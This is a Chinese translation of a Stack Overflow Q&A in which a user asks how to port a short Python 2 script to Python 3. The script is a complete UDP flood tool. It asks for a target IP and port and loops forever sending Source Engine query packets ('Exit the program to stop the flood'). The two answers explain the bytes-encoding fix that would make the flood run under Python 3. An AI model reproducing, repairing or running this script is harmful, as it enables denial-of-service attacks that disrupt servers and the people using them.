首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >TypeError:'str‘不支持缓冲区接口4

TypeError:'str‘不支持缓冲区接口4
EN

Stack Overflow用户
提问于 2012-12-04 12:56:15
回答 2查看 4.3K关注 0票数 1

这是用Python2.x编写的代码,我想让它在Python3.x中运行。

在Python3.x中,这一行看起来是什么样的呢?

代码语言:javascript
复制
while True:
    sock.sendto(bytes,(ip,port))

注意:我以前从未使用过Python,所以如果这对你来说是个愚蠢的问题,不要对我开枪。

下面是完整的代码,在Python 3中应该是什么样的呢?

代码语言:javascript
复制
import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'

ip = input("Target IP: ")
port = input("Target Port: ")

print ("Exit the program to stop the flood")

while True:
    sock.sendto(bytes,(ip,port))
EN

回答 2

Stack Overflow用户

发布于 2012-12-04 13:07:09

Python 3中的代码完全相同。

不同的是,str类型在Python3中表示Unicode字符串,str是Python2中的字节字符串。

bytes转换为bytes,例如,s.encode(encoding)。还可以重命名bytes,以避免与内置名称bytes混淆。

票数 2
EN

Stack Overflow用户

发布于 2012-12-04 13:04:14

最有可能的是bytes是一个str,这意味着它是一个字符集合。通过网络,您不能发送字符,而只能发送字节。字符可以通过多种方式编码成字节流。你很可能想用utf-8来做这个。可以使用the_string.encode ('utf-8')将str编码为字节对象。此字节对象可以通过网络发送。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/13703458

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档